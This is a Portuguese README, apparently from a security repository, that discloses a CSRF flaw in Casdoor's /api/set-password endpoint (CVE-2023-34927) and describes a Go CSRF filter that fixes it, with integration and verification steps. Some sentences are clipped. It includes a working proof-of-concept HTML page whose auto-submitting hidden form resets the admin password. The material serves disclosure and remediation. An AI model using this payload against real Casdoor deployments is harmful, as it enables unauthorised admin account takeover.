
Prova de conceito de exploit CSRF para o endpoint `/api/set-password` do Casdoor (CVE-2023-34927), permitindo alterações não autorizadas de senha através de requisições POST entre sites. Inclui uma correção de filtro CSRF baseada em Go.
Resumo
/api/set-password permitindo alterações de senha sem consentimento.Impacto
built-in/admin), levando à tomada de conta.Pré-requisitos do Ataque
casdoor_session_id válido./api/set-password.Prova de Conceito
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
Causa Raiz
/api/* aceitam solicitações autenticadas por cookie sem aplicar verificações de mesma origem (Origin/Referer) ou tokens CSRF.Visão Geral da Correção
/api/*.Authorization, autenticação Basic, credenciais de cliente ou accessToken) ou solicitações sem cookies de sessão do navegador (típicas de chamadas servidor para servidor).Implementação
routers.CSRFFilter implementado em csrf_filter.go. Este filtro:
Como Integrar no Casdoor
csrf_filter.go para o pacote routers existente do projeto Casdoor. Não modifique ou exclua nada neste arquivo.main):
// Beego v1 style
beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
// If your project uses Beego v2 and imports as `web`:
// web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
Verificação
Unauthorized operation e o servidor deve registrar CSRF check failed.Authorization ou parâmetros accessToken devem continuar funcionando.Arquivos do Repositório
csrf_filter.go: Filtro CSRF para copiar para o pacote routers do Casdoor.poc.html: Página mínima reproduzindo o ataque CSRF.README.md: Este documento descrevendo a vulnerabilidade e as etapas de correção.Referências
Vídeo